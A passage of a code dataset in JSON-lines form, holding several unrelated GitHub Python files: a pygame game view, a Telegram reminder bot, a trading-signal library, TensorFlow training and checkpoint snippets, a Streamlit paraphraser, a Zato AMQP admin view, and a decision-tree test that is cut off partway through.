pygame.image.load(\"kartinki/bitcoin.png\")\nbitcoin = pygame.transform.scale(bitcoi, model.rect_money.size)\n\nelon_mas = pygame.image.load(\"kartinki/elon_mask.jpg\")\nelon_mask = pygame.transform.scale(elon_mas, model.rect.size)\n\nballe = pygame.image.load(\"kartinki/img.png\")\nballer = pygame.transform.scale(balle, model.rect_baller.size)\npygame.init()\n\nf = pygame.font.SysFont(\"arial\", 30, True, False)\n\nold_height = model.HEIGHT\n\n\ndef line():\n x_line = 0\n y_line = 300\n for i in model.kyrs_b:\n pygame.draw.line(display, [0, 255, 0], [x_line, y_line], [x_line + model.kyrs_step, i], 3)\n x_line = x_line + model.kyrs_step\n y_line = i\n\n\ndef weiv():\n global old_height, baller, kyrs\n if old_height != model.HEIGHT:\n baller = pygame.transform.scale(balle, model.rect_baller.size)\n old_height = model.HEIGHT\n\n display.fill([0, 0, 0])\n line()\n display.blit(baller, model.rect_baller)\n # pygame.draw.rect(display,[255,255,255],model.rect_baller)\n display.blit(bitcoin, model.rect_money)\n display.blit(elon_mask, model.rect)\n\n\n moneyts = f.render(\"monet_vsego \"+ str(model.monet_vsego),True,[46,83,251])\n display.blit(moneyts,[0,25])\n\n q = f.render(str(model.bitcoins) + \" money\", True, [46, 83, 251])\n display.blit(q, [0, 0])\n\n pygame.display.flip()\n","repo_name":"BLETzKEIN/polet","sub_path":"view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25269898893","text":"import logging\r\nfrom telegram.ext import Updater, MessageHandler, Filters, CommandHandler, ConversationHandler\r\nfrom system_p import stop, start, help, change_tz, change_tz_part_2, check_reminders\r\nfrom notes import add_note, show_notes, save_note, res_notes, delete_note\r\nfrom reminders import add_reminder, add_reminder_part_2, delete_reminder, delete_reminder_part_2, show_reminders\r\n\r\n\r\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.DEBUG)\r\nlogger = logging.getLogger(__name__)\r\n\r\nTOKEN = ''\r\n\r\n\r\ndef main():\r\n updater = Updater(TOKEN)\r\n dispatcher = updater.dispatcher\r\n start_conv_handler = ConversationHandler(\r\n entry_points=[CommandHandler('start', start)],\r\n states={1: [MessageHandler(Filters.text & ~Filters.command, change_tz_part_2)]},\r\n fallbacks=[CommandHandler('stop', stop)])\r\n add_note_conv_handler = ConversationHandler(\r\n entry_points=[CommandHandler('add_note', add_note)],\r\n states={'note': [MessageHandler(Filters.text & ~Filters.command, save_note)]},\r\n fallbacks=[CommandHandler('stop', stop)])\r\n del_note_conv_handler = ConversationHandler(\r\n entry_points=[CommandHandler('delete_note', delete_note)],\r\n states={1: [MessageHandler(Filters.text & ~Filters.command, res_notes)]},\r\n fallbacks=[CommandHandler('stop', stop)])\r\n add_reminder_conv_handler = ConversationHandler(\r\n entry_points=[CommandHandler('add_reminder', add_reminder)],\r\n states={1: [MessageHandler(Filters.text & ~Filters.command, add_reminder_part_2)]},\r\n fallbacks=[CommandHandler('stop', stop)])\r\n delete_reminder_conv_handler = ConversationHandler(\r\n entry_points=[CommandHandler('delete_reminder', delete_reminder)],\r\n states={1: [MessageHandler(Filters.text & ~Filters.command, delete_reminder_part_2)]},\r\n fallbacks=[CommandHandler('stop', stop)])\r\n inspect_tz_conv_handler = ConversationHandler(\r\n entry_points=[CommandHandler('change_tz', change_tz)],\r\n states={1: [MessageHandler(Filters.text & ~Filters.command, change_tz_part_2)]},\r\n fallbacks=[CommandHandler('stop', stop)])\r\n dispatcher.add_handler(start_conv_handler)\r\n dispatcher.add_handler(inspect_tz_conv_handler)\r\n dispatcher.add_handler(delete_reminder_conv_handler)\r\n dispatcher.add_handler(add_reminder_conv_handler)\r\n dispatcher.add_handler(CommandHandler('show_reminders', show_reminders))\r\n dispatcher.add_handler(add_note_conv_handler)\r\n dispatcher.add_handler(del_note_conv_handler)\r\n dispatcher.add_handler(CommandHandler('start', start))\r\n dispatcher.add_handler(CommandHandler('show_notes', show_notes))\r\n dispatcher.add_handler(CommandHandler('help', help))\r\n updater.start_polling()\r\n updater.job_queue.run_repeating(check_reminders, interval=10, first=0)\r\n updater.idle()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"UTKANOS-RIBA/Adam","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26677511187","text":"from functools import lru_cache, cache\nfrom operator import __add__, __mul__, __eq__, __ge__, __le__, __lt__, __gt__, __sub__, __ne__, \\\n __truediv__, __and__, __or__\n\nfrom collections import deque\nimport numpy as np\n\nfrom optimal_strategy_portfolio.helpers import get_func_arg_names\nfrom optimal_strategy_portfolio.strategies import StrategyFromSignal\nfrom optimal_strategy_portfolio.transform_functions import signal_to_positions\n\n\nclass Signal(object):\n n_args = 0\n is_array = False\n locked = False\n r = None # the return value\n lag = 1 # signal lag. i.e if the signal is for yesterday's data, it should equal 1\n\n def __init__(self, name=None, bounds=(), arg_types=()):\n self.name = name\n self.bounds = bounds\n self.arg_types = arg_types\n\n def __str__(self):\n return self.name\n\n def __repr__(self):\n if self.n_args:\n return f\"{self.name}({self.arg_names})\".replace('[', '').replace(']', '').replace(\"'\",\"\")\n else:\n return self.name\n\n @property\n def arg_names(self):\n if hasattr(self, 'leaf_signals'):\n arg_names = []\n for s in self.leaf_signals.keys():\n if hasattr(s, 'leaf_signals'):\n arg_names += [f'{s.name}__{arg_name}' for arg_name in s.additional_arg_names]\n else:\n arg_names += [f'{s.name}__{arg_name}' for arg_name in s.arg_names]\n return arg_names\n else:\n return get_func_arg_names(self.transform)\n\n def transform(self, **kwargs):\n return 1\n\n def set_lag(self, lag):\n self.lag = lag\n return self\n\n def test(self, *args, **kwargs):\n return self.test_instance(*args, **kwargs)\n\n def __call__(self, *args, **kwargs):\n if self.locked:\n return self.r\n r = self.transform(*args, **kwargs)\n if self.is_array and self.lag:\n self.r = r[-self.n_t:-self.lag]\n elif self.is_array:\n self.r = r[-self.n_t:]\n else:\n self.r = r\n return self.r\n\n def __add__(self, other):\n return CombinedSignal(self, other, __add__)\n\n def __radd__(self, other):\n return CombinedSignal(other, self, __add__)\n\n def __eq__(self, other):\n return (self is other) * 1 or CombinedSignal(self, other, __eq__)\n\n def __ne__(self, other):\n if self is other:\n return 0\n return CombinedSignal(self, other, __ne__)\n\n def __lt__(self, other):\n if self is other:\n return 0\n return CombinedSignal(self, other, __lt__)\n\n def __gt__(self, other):\n if self is other:\n return 0\n return CombinedSignal(self, other, __gt__)\n\n def __le__(self, other):\n return (self is other) * 1 or CombinedSignal(self, other, __le__)\n\n def __ge__(self, other):\n return (self is other) * 1 or CombinedSignal(self, other, __ge__)\n\n def __mul__(self, other):\n return CombinedSignal(self, other, __mul__)\n\n def __rmul__(self, other):\n return CombinedSignal(other, self, __mul__)\n\n def __sub__(self, other):\n return CombinedSignal(self, other, __sub__)\n\n def __rsub__(self, other):\n return CombinedSignal(other, self, __sub__)\n\n def __truediv__(self, other):\n return CombinedSignal(self, other, __truediv__)\n\n def __rtruediv__(self, other):\n return CombinedSignal(other, self, __truediv__)\n\n def __abs__(self):\n from optimal_strategy_portfolio.signals.transforms import TransformedSignal\n return TransformedSignal(self, np.abs, name='abs')\n\n def __and__(self, other):\n return CombinedSignal(self, other, np.logical_and)\n\n def __rand__(self, other):\n return CombinedSignal(other, self, np.logical_and)\n\n def __or__(self, other):\n if type(other) in [int, float, bool] and other:\n return 1\n return CombinedSignal(self, other, np.logical_or)\n\n def __ror__(self, other):\n return CombinedSignal(other, self, np.logical_or)\n\n def __hash__(self):\n return id(self)\n\n def __invert__(self):\n from optimal_strategy_portfolio.signals.transforms import TransformedSignal\n return TransformedSignal(self, np.logical_not, name='~')\n\n def to_strategy(self, price_data=None, transform_function=signal_to_positions, **transform_function_kwargs):\n return StrategyFromSignal(self, transform_function, price_data=price_data, **transform_function_kwargs)\n\n\nclass CombinedSignal(Signal):\n lag = 0\n n_additional_args = 0\n\n _operator_strings = {\n __add__: '+',\n __sub__: '-',\n __mul__: '*',\n __truediv__: '/',\n __eq__: '==',\n __lt__: '<',\n __gt__: '>',\n __le__: '<=',\n __ge__: '>=',\n np.logical_or: '|',\n np.logical_and: '&'\n }\n\n def __init__(self, signal, other, operator, name='combined_signal'):\n super().__init__(name=name)\n self.operator = operator\n if type(signal) in [int, float, np.ndarray] and isinstance(other, Signal):\n signal, other = other, signal\n if type(other) in [int, float, np.ndarray]:\n self.other_is_static = True\n self.is_array = signal.is_array or type(other) in [np.ndarray]\n self.n_t = min(signal.n_t - signal.lag, len(other)) if type(other) in [np.ndarray] else signal.n_t - signal.lag\n self.n_args = signal.n_args\n if signal.is_array:\n self.index = signal.index\n elif isinstance(other, Signal):\n if signal.is_array and other.is_array:\n assert all(signal.index == other.index), \"Price indices of both signal must match\"\n self.n_t = min(signal.n_t - signal.lag, other.n_t - other.lag)\n self.index = signal.index\n self.is_array = True\n elif signal.is_array:\n self.index = signal.index\n self.n_t = signal.n_t - signal.lag\n self.is_array = True\n elif other.is_array:\n self.index = other.index\n self.n_t = other.n_t - other.lag\n self.is_array = True\n self.other_is_static = False\n self.n_args = signal.n_args + other.n_args\n else:\n raise TypeError(f\"object of type {type(other)} is not supported.\")\n\n self.signal = signal\n self.other = other\n self.leaf_signals = dict()\n self.pairs = []\n self.operators = []\n self._set_leaf_signals()\n self.value = np.zeros(self.n_t, dtype=float) if self.is_array else 0\n\n self._set_bounds()\n self._set_arg_types()\n\n test_signal = test_other = None\n if 'price_data' in signal.__dir__():\n self.price_data = signal.price_data\n if 'test_instance' in signal.__dir__():\n test_signal = signal.test_instance\n elif 'price_data' in other.__dir__():\n self.price_data = other.price_data\n if 'price_data' in other.__dir__() and 'test_instance' in other.__dir__():\n test_other = other.test_instance\n\n if test_signal or test_other:\n self.test_instance = self.__class__(test_signal or signal, test_other or other, operator, name=name)\n\n def __repr__(self):\n return f\"({repr(self.signal)} {self._operator_strings[self.operator]} {repr(self.other)})\"\n\n def _set_arg_types(self):\n arg_types = ()\n for s in self.leaf_signals.keys():\n arg_types += s.additional_arg_types if hasattr(s, 'additional_arg_types') else s.arg_types\n self.arg_types = arg_types\n\n def _set_bounds(self):\n bounds = ()\n for s in self.leaf_signals.keys():\n bounds += s.additional_bounds if hasattr(s, 'additional_bounds') else s.bounds\n self.bounds = bounds\n\n def _set_leaf_signals(self):\n if isinstance(self.signal, Signal) and hasattr(self.signal, 'leaf_signals'):\n self.leaf_signals.update(self.signal.leaf_signals)\n elif isinstance(self.signal, Signal):\n self.leaf_signals[self.signal] = None\n if isinstance(self.other, Signal) and hasattr(self.other, 'leaf_signals'):\n self.leaf_signals.update(self.other.leaf_signals)\n elif isinstance(self.other, Signal):\n self.leaf_signals[self.other] = None\n\n self.n_args = self.n_additional_args\n for s in self.leaf_signals.keys():\n if hasattr(s, 'leaf_signals'):\n self.n_args += s.n_additional_args\n else:\n self.n_args += s.n_args\n\n def transform(self, *args, retain_lock=False):\n k = 0\n for s in self.leaf_signals.keys():\n if not s.locked:\n n_args = s.n_additional_args if hasattr(s, 'leaf_signals') else s.n_args\n s(*args[k: n_args + k], retain_lock=True)\n s.locked = True\n k += n_args\n\n s = self.signal\n o = self.other\n operator = self.operator\n parents = deque()\n s_parents = deque()\n o_parents = deque()\n operators = deque()\n locked_signals = []\n lhs = rhs = None\n while True:\n s_is_combined = isinstance(s, CombinedSignal)\n o_is_combined = isinstance(o, CombinedSignal)\n if s_is_combined and s.locked:\n lhs = s.value[-self.n_t:]\n locked_signals += [s]\n elif s_is_combined:\n parents.append(s)\n s_parents.append(s)\n o_parents.append(o)\n operators.append(operator)\n operator = s.operator\n o = s.other\n s = s.signal\n lhs = rhs = None\n elif isinstance(s, Signal):\n lhs = s()[-self.n_t:] if s.is_array else s()\n else:\n lhs = s[-self.n_t:] if type(s) in [np.ndarray] else s\n if lhs is not None and o_is_combined and o.locked:\n rhs = o.value[-self.n_t:]\n locked_signals += [o]\n elif lhs is not None and o_is_combined:\n parents.append(o)\n s_parents.append(s)\n o_parents.append(o)\n operators.append(operator)\n operator = o.operator\n s = o.signal\n o = o.other\n rhs = lhs = None\n elif lhs is not None and isinstance(o, Signal):\n rhs = o()[-self.n_t:] if o.is_array else o()\n elif lhs is not None:\n rhs = o[-self.n_t:] if type(o) in [np.ndarray] else o\n if lhs is not None and rhs is not None and parents:\n p = parents.pop()\n if p.is_array:\n p.value[-self.n_t:] = operator(lhs, rhs)\n else:\n p.value = operator(lhs, rhs)\n p.locked = True\n s = s_parents.pop()\n o = o_parents.pop()\n operator = operators.pop()\n elif lhs is not None and rhs is not None:\n r = operator(lhs, rhs)\n break\n\n if not retain_lock:\n for s in list(self.leaf_signals.keys()) + locked_signals:\n s.locked = False\n\n return r * 1\n\n def old___call__(self, *args):\n if self.other_is_static:\n lhs = self.signal.__call__(*args) if self.signal.is_array else self.signal.__call__(*args)[-self.n_t:]\n rhs = self.other[-self.n_t:] if type(self.other) in [np.ndarray] else self.other\n else:\n lhs = self.signal.__call__(*args[:self.signal.n_args]) if self.signal.is_array \\\n else self.signal.__call__(*args[:self.signal.n_args])[-self.n_t:]\n rhs = self.other.__call__(*args[self.signal.n_args:])[-self.n_t:]\n\n return self.operator(\n lhs, rhs\n ) * 1\n\n def old__call__2(self, *args, leaf_signals_computed=False, **kwargs):\n if not leaf_signals_computed:\n k = 0\n for s in self.leaf_signals:\n s(*args[k: s.n_args + k])\n s.locked = True\n k += s.n_args\n\n if self.signal.is_array:\n lhs = self.signal.__call__(leaf_signals_computed=True)\n else:\n lhs = self.signal.__call__(leaf_signals_computed=True)[-self.n_t:]\n\n if self.other_is_static:\n rhs = self.other[-self.n_t:] if type(self.other) in [np.ndarray] else self.other\n else:\n if self.other.is_array:\n rhs = self.other.__call__(leaf_signals_computed=True)[-self.n_t:]\n else:\n rhs = self.other.__call__(leaf_signals_computed=True)\n\n if not leaf_signals_computed:\n for s in self.leaf_signals:\n s.locked = False\n\n return self.operator(\n lhs, rhs\n ) * 1\n","repo_name":"SalimShaqsi/tradingAlgos","sub_path":"optimal_strategy_portfolio/signals/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":12990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12590298671","text":"from random import randint\r\n\r\nwith open('voiceFiles.txt', 'r') as f:\r\n files = f.read()\r\n fileList = files.splitlines()\r\n\r\nfileNameTypes = [b'e8v', b'p28v', b'pc2v', b'pc8v']\r\nwith open('t_voice.tbl', 'rb') as f:\r\n file = bytearray(f.read())\r\n for i in range(len(file)):\r\n a = file[i:i+3]\r\n b = file[i:i+4]\r\n c = file[i:i+12]\r\n if file[i : i+3] in fileNameTypes or file[i : i+4] in fileNameTypes:\r\n if file[i+8] == 0:\r\n file[i : i+8] = bytes(fileList[randint(0, 9)], encoding='ascii')\r\n elif file[i+9] == 0:\r\n file[i : i+9] = bytes(fileList[randint(10, 19)], encoding='ascii')\r\n elif file[i+10] == 0:\r\n file[i : i+10] = bytes(fileList[randint(20, 29)], encoding='ascii')\r\n elif file[i+11] == 0:\r\n file[i : i+11] = bytes(fileList[randint(30, 39)], encoding='ascii')\r\n elif file[i+12] == 0:\r\n file[i : i+12] = bytes(fileList[randint(40, 49)], encoding='ascii')\r\n\r\nwith open('t_voice_new.tbl', 'wb') as f:\r\n f.write(file)","repo_name":"DeLaKek/ColdSteelReantranslated","sub_path":"voiceFileScript/voiceFileScript.py","file_name":"voiceFileScript.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12184132967","text":"import tensorflow as tf\r\nfrom generator import DataGenerator\r\n\r\n\"\"\"\r\nDefines training function for the netwokr using CTC loss.\r\n\"\"\"\r\n\r\ndef compute_ctc_loss(logits, labels, logit_length, label_length):\r\n \"\"\"\r\n Function to compute CTC loss.\r\n Note: tf.nn.ctc_loss applies log softmax to its input automatically\r\n :param logits: Logits from the output dense layer\r\n :param labels: Labels converted to array of indices\r\n :param logit_length: Array containing length of each input in the batch\r\n :param label_length: Array containing length of each label in the batch\r\n :return: array of ctc loss for each element in batch\r\n \"\"\"\r\n return tf.nn.ctc_loss(\r\n labels=labels,\r\n logits=logits,\r\n label_length=label_length,\r\n logit_length=logit_length,\r\n logits_time_major=False,\r\n unique=None,\r\n blank_index=-1,\r\n name=None\r\n )\r\n\r\n\r\ndef train_sample(x, y, optimizer, model):\r\n \"\"\"\r\n Function to perform forward and backpropagation on one batch.\r\n :param x: one batch of input\r\n :param y: one batch of target\r\n :param optimizer: optimizer\r\n :param model: object of the ASR class\r\n :return: loss from this step\r\n \"\"\"\r\n with tf.GradientTape() as tape:\r\n logits = model(x)\r\n labels = y\r\n logits_length = [logits.shape[1]]*logits.shape[0]\r\n labels_length = [labels.shape[1]]*labels.shape[0]\r\n loss = compute_ctc_loss(logits, labels, logit_length=logits_length, label_length=labels_length)\r\n loss = tf.reduce_mean(loss)\r\n grads = tape.gradient(loss, model.trainable_variables)\r\n optimizer.apply_gradients(zip(grads, model.trainable_variables))\r\n return loss\r\n\r\n\r\ndef train(model, optimizer, data_gen, batch_size, epochs):\r\n \"\"\"\r\n Function to train the model for given number of epochs.\r\n :param model: object of class ASR\r\n :param optimizer: optimizer\r\n :param data_gen: loaded DataGenerator object\r\n :param batch_size:\r\n :param epochs:\r\n :return: None\r\n \"\"\"\r\n for step in range(0, epochs):\r\n generator = data_gen.get_generator(batch_size)\r\n for i, batch in enumerate(generator):\r\n x = batch['x']\r\n y = batch['y']\r\n loss = train_sample(x, y, optimizer, model)\r\n if i % 10 == 0:\r\n print('Epoch {}, Loss: {}'.format(step + 1, loss))\r\n","repo_name":"asierro/TFG_IE","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"638717377","text":"\"\"\"\nA small streamlit app to demonstrate a Parrot Paraphrasing on T5 Model from Huggingface\nModel on HF: https://huggingface.co/prithivida/parrot_paraphraser_on_T5\n\nThis is a project for 2022 ML Course practice\n\"\"\"\nimport streamlit as st\nfrom parrot_model import ParrotModel\n\n\n@st.cache(allow_output_mutation=True)\ndef get_parrot() -> ParrotModel:\n \"\"\"Generates the parrot model and caches it, as it takes up around 10-15 seconds\"\"\"\n return ParrotModel()\n\n\ndef main() -> None:\n \"\"\"Streamlit app entrypoint\"\"\"\n st.set_page_config(\n page_title=\"Cockatoo\",\n page_icon=\"favicon.ico\",\n )\n\n parrot = get_parrot()\n\n sidebar = st.sidebar\n sidebar.header(\"Configure cockatoo\")\n sidebar.subheader(\"Cockatoo parameters\")\n\n parrot.set_seed(int(sidebar.number_input(\"Seed\", 0, 999999, 1)))\n adequacy_threshold = sidebar.slider(\"Adequacy\", 0.0, 1.0, 0.8)\n fluency_threshold = sidebar.slider(\"Fluency\", 0.0, 1.0, 0.8)\n amount = int(sidebar.slider(\"Maximum amount\", 1, 9, 3))\n do_diverse = sidebar.checkbox(\"Do Diverse?\")\n\n st.title(\"🦜 Cockatoo paraphraser\")\n st.subheader(\"Type the text you want to paraphrase and get the result!\")\n\n phrase = st.text_area(\"Input for cockatoo to paraphrase\")\n result = parrot.para_phrase(\n phrase,\n do_diverse=do_diverse,\n amount=amount,\n fluency_threshold=fluency_threshold,\n adequacy_threshold=adequacy_threshold,\n )\n\n if result:\n st.subheader(\"Cockatoo gave these results\")\n for index, value in enumerate(result):\n st.write(f\"{str(index + 1)}: {value[0]}\")\n else:\n st.subheader(\"Cockatoo gave no results\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"arthur100500/cockatoo-paraphraser-demo","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74438273101","text":"def transaction(transactions):\n ts1=int(transactions[0].split(\",\")[1])\n ts2=int(transactions[1].split(\",\")[1])\n money1=int(transactions[0].split(\",\")[2])\n money2=int(transactions[1].split(\",\")[2])\n name1=transactions[0].split(\",\")[0]\n name2=transactions[1].split(\",\")[0]\n city1=transactions[0].split(\",\")[3]\n city2=transactions[1].split(\",\")[3]\n if(ts2-ts1<60):\n if(name1==name2):\n if(city1!=city2):\n return transactions\n else:\n return [transactions[1]]\n if(money1>1000):\n return [transactions[0]]\n elif(money2>1000):\n return [transactions[1]]\n elif(money1>1000 and money2>1000):\n return transactions","repo_name":"joymajumder1998/Coding-By-Joy-Majumder","sub_path":"dummy python code templates/transaction.py","file_name":"transaction.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22093084066","text":"\nimport tensorflow as tf\n\n\ndef save_variable():\n var1 = tf.get_variable(name='var1', shape=[1],\n initializer=tf.constant_initializer(0))\n var2 = tf.get_variable(name='var2', shape=[1],\n initializer=tf.constant_initializer(0), trainable=False)\n sess = tf.Session()\n sess.run(tf.global_variables_initializer())\n\n train_var = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES)\n global_var = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES)\n\n def save_variable_var_list(sess, var_list, name):\n saver = tf.train.Saver(var_list=var_list)\n saver.save(sess, name)\n\n def save_variable_default(sess, name):\n saver = tf.train.Saver()\n saver.save(sess, name)\n\n def print_variable_list(var_list):\n for var in var_list:\n print(var.name)\n\n #\n print_variable_list(train_var)\n print_variable_list(global_var)\n\n save_variable_var_list(sess, train_var, 'save/save_train_var')\n save_variable_default(sess, 'save/save_default_var')\n\ndef restore_variable(path_name):\n var1 = tf.get_variable(name='var1', shape=[1],\n initializer=tf.constant_initializer(0))\n var2 = tf.get_variable(name='var2', shape=[1],\n initializer=tf.constant_initializer(0), trainable=False)\n sess = tf.Session()\n saver = tf.train.Saver()\n saver.restore(sess, path_name)\n var_list = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES)\n for var in var_list:\n print(var.name)\n\n\nif __name__ == '__main__':\n # save_variable()\n # restore_variable('save/save_train_var')\n restore_variable('save/save_default_var')","repo_name":"BlueWinters/exercise","sub_path":"tensorflow/tf_save.py","file_name":"tf_save.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"27953152293","text":"from __future__ import absolute_import, division, print_function, unicode_literals\n\n# stdlib\nimport logging\nfrom traceback import format_exc\n\n# Django\nfrom django.http import HttpResponse, HttpResponseServerError\n\n# Zato\nfrom zato.admin.web.forms.channel.amqp_ import CreateForm, EditForm\nfrom zato.admin.web.views import Delete as _Delete, get_definition_list, Index as _Index, method_allowed\nfrom zato.common.json_internal import dumps\nfrom zato.common.odb.model import ChannelAMQP\n\nlogger = logging.getLogger(__name__)\n\ndef _get_edit_create_message(params, prefix=''):\n \"\"\" Creates a base dictionary which can be used by both 'edit' and 'create' actions.\n \"\"\"\n return {\n 'id': params.get('id'),\n 'cluster_id': params['cluster_id'],\n 'name': params[prefix + 'name'],\n 'is_active': bool(params.get(prefix + 'is_active')),\n 'def_id': params[prefix + 'def_id'],\n 'queue': params[prefix + 'queue'],\n 'consumer_tag_prefix': params[prefix + 'consumer_tag_prefix'],\n 'service': params[prefix + 'service'],\n 'pool_size': params.get(prefix + 'pool_size'),\n 'ack_mode': params.get(prefix + 'ack_mode'),\n 'prefetch_count': params.get(prefix + 'prefetch_count'),\n 'data_format': params.get(prefix + 'data_format'),\n }\n\ndef _edit_create_response(client, verb, id, name, def_id, cluster_id):\n response = client.invoke('zato.definition.amqp.get-by-id', {'id':def_id, 'cluster_id':cluster_id})\n return_data = {'id': id,\n 'message': 'Successfully {} the AMQP channel `{}`'.format(verb, name),\n 'def_name': response.data.name\n }\n return HttpResponse(dumps(return_data), content_type='application/javascript')\n\nclass Index(_Index):\n method_allowed = 'GET'\n url_name = 'channel-amqp'\n template = 'zato/channel/amqp.html'\n service_name = 'zato.channel.amqp.get-list'\n output_class = ChannelAMQP\n paginate = True\n\n class SimpleIO(_Index.SimpleIO):\n input_required = ('cluster_id',)\n output_required = ('id', 'name', 'is_active', 'queue', 'consumer_tag_prefix', 'def_name', 'def_id', 'service_name',\n 'pool_size', 'ack_mode','prefetch_count', 'data_format')\n output_repeated = True\n\n def handle(self):\n create_form = CreateForm(req=self.req)\n edit_form = EditForm(prefix='edit', req=self.req)\n\n if self.req.zato.cluster_id:\n def_ids = get_definition_list(self.req.zato.client, self.req.zato.cluster, 'amqp')\n create_form.set_def_id(def_ids)\n edit_form.set_def_id(def_ids)\n\n return {\n 'create_form': create_form,\n 'edit_form': edit_form,\n }\n\n@method_allowed('POST')\ndef create(req):\n try:\n response = req.zato.client.invoke('zato.channel.amqp.create', _get_edit_create_message(req.POST))\n return _edit_create_response(req.zato.client, 'created', response.data.id,\n req.POST['name'], req.POST['def_id'], req.POST['cluster_id'])\n except Exception:\n msg = 'Could not create an AMQP channel, e:`{}`'.format(format_exc())\n logger.error(msg)\n return HttpResponseServerError(msg)\n\n\n@method_allowed('POST')\ndef edit(req):\n try:\n req.zato.client.invoke('zato.channel.amqp.edit', _get_edit_create_message(req.POST, 'edit-'))\n return _edit_create_response(req.zato.client, 'updated', req.POST['id'], req.POST['edit-name'],\n req.POST['edit-def_id'], req.POST['cluster_id'])\n\n except Exception:\n msg = 'Could not update the AMQP channel, e:`{}`'.format(format_exc())\n logger.error(msg)\n return HttpResponseServerError(msg)\n\nclass Delete(_Delete):\n url_name = 'channel-amqp-delete'\n error_message = 'Could not delete the AMQP channel'\n service_name = 'zato.channel.amqp.delete'\n","repo_name":"zatosource/zato","sub_path":"code/zato-web-admin/src/zato/admin/web/views/channel/amqp_.py","file_name":"amqp_.py","file_ext":"py","file_size_in_byte":3857,"program_lang":"python","lang":"en","doc_type":"code","stars":1047,"dataset":"github-code","pt":"47"} +{"seq_id":"72384294221","text":"import numpy \nimport unittest\nimport numpy.testing as nptst\nimport logging\nfrom sandbox.predictors.DecisionTreeLearner import DecisionTreeLearner\nfrom sandbox.data.ExamplesGenerator import ExamplesGenerator\nfrom sandbox.data.Standardiser import Standardiser \nfrom sandbox.util.Sampling import Sampling\nfrom sklearn.tree import DecisionTreeRegressor \nfrom sandbox.predictors.LibSVM import LibSVM\nimport sklearn.datasets as data \nfrom sandbox.util.Evaluator import Evaluator\nfrom sklearn import linear_model\n\n\nclass DecisionTreeLearnerTest(unittest.TestCase):\n def setUp(self):\n numpy.random.seed(21)\n numpy.seterr(\"raise\")\n self.numExamples = 20\n self.numFeatures = 5\n \n generator = ExamplesGenerator() \n self.X, self.y = generator.generateBinaryExamples(self.numExamples, self.numFeatures)\n self.y = numpy.array(self.y, numpy.float)\n \n \n def testInit(self): \n learner = DecisionTreeLearner() \n \n def testLearnModel(self): \n #First check the integrety of the trees \n generator = ExamplesGenerator() \n \n for i in range(5): \n numExamples = numpy.random.randint(1, 200)\n numFeatures = numpy.random.randint(1, 10)\n minSplit = numpy.random.randint(1, 50)\n maxDepth = numpy.random.randint(1, 10)\n \n X, y = generator.generateBinaryExamples(numExamples, numFeatures)\n y = numpy.array(y, numpy.float)\n \n learner = DecisionTreeLearner(minSplit=minSplit, maxDepth=maxDepth) \n learner.learnModel(X, y) \n tree = learner.getTree() \n \n for vertexId in tree.getAllVertexIds(): \n vertex = tree.getVertex(vertexId)\n if vertex.getFeatureInd() != None: \n meanValue = y[vertex.getTrainInds()].mean()\n self.assertEquals(meanValue, vertex.getValue())\n if tree.isNonLeaf(vertexId): \n self.assertTrue(0 <= vertex.getFeatureInd() < X.shape[1]) \n self.assertTrue(X[:, vertex.getFeatureInd()].min() <= vertex.getThreshold() <= X[:, vertex.getFeatureInd()].max())\n self.assertTrue(vertex.getTrainInds().shape[0] >= 1)\n \n \n self.assertTrue(tree.depth() <= maxDepth)\n #Check that each split contains indices from parent \n root = tree.getRootId()\n vertexStack = [root]\n \n while len(vertexStack) != 0: \n vertexId = vertexStack.pop()\n neighbours = tree.children(vertexId)\n \n if len(neighbours) > 2: \n self.fail(\"Cannot have more than 2 children\") \n elif len(neighbours) > 0: \n inds1 = tree.getVertex(neighbours[0]).getTrainInds()\n inds2 = tree.getVertex(neighbours[1]).getTrainInds()\n \n nptst.assert_array_equal(numpy.union1d(inds1, inds2), numpy.unique(tree.getVertex(vertexId).getTrainInds()))\n \n vertexStack.append(neighbours[0])\n vertexStack.append(neighbours[1])\n \n #Try a tree of depth 0 \n #learner = DecisionTreeLearner(minSplit=10, maxDepth=0) \n #learner.learnModel(self.X, self.y) \n #tree = learner.getTree()\n \n #self.assertEquals(tree.depth(), 0)\n \n #Try minSplit > numExamples \n #learner = DecisionTreeLearner(minSplit=self.numExamples+1, maxDepth=0) \n #learner.learnModel(self.X, self.y) \n #tree = learner.getTree()\n \n #self.assertEquals(tree.getNumVertices(), 1)\n \n #Try a simple tree of depth 1 \n learner = DecisionTreeLearner(minSplit=1, maxDepth=1) \n learner.learnModel(self.X, self.y) \n \n bestFeature = 0 \n bestError = 10**6 \n bestThreshold = 0 \n \n for i in range(numFeatures): \n vals = numpy.unique(self.X[:, i])\n \n for j in range(vals.shape[0]-1): \n threshold = (vals[j+1]+vals[j])/2\n leftInds = self.X[:, i] <= threshold\n rightInds = self.X[:, i] > threshold\n \n valLeft = numpy.mean(self.y[leftInds])\n valRight = 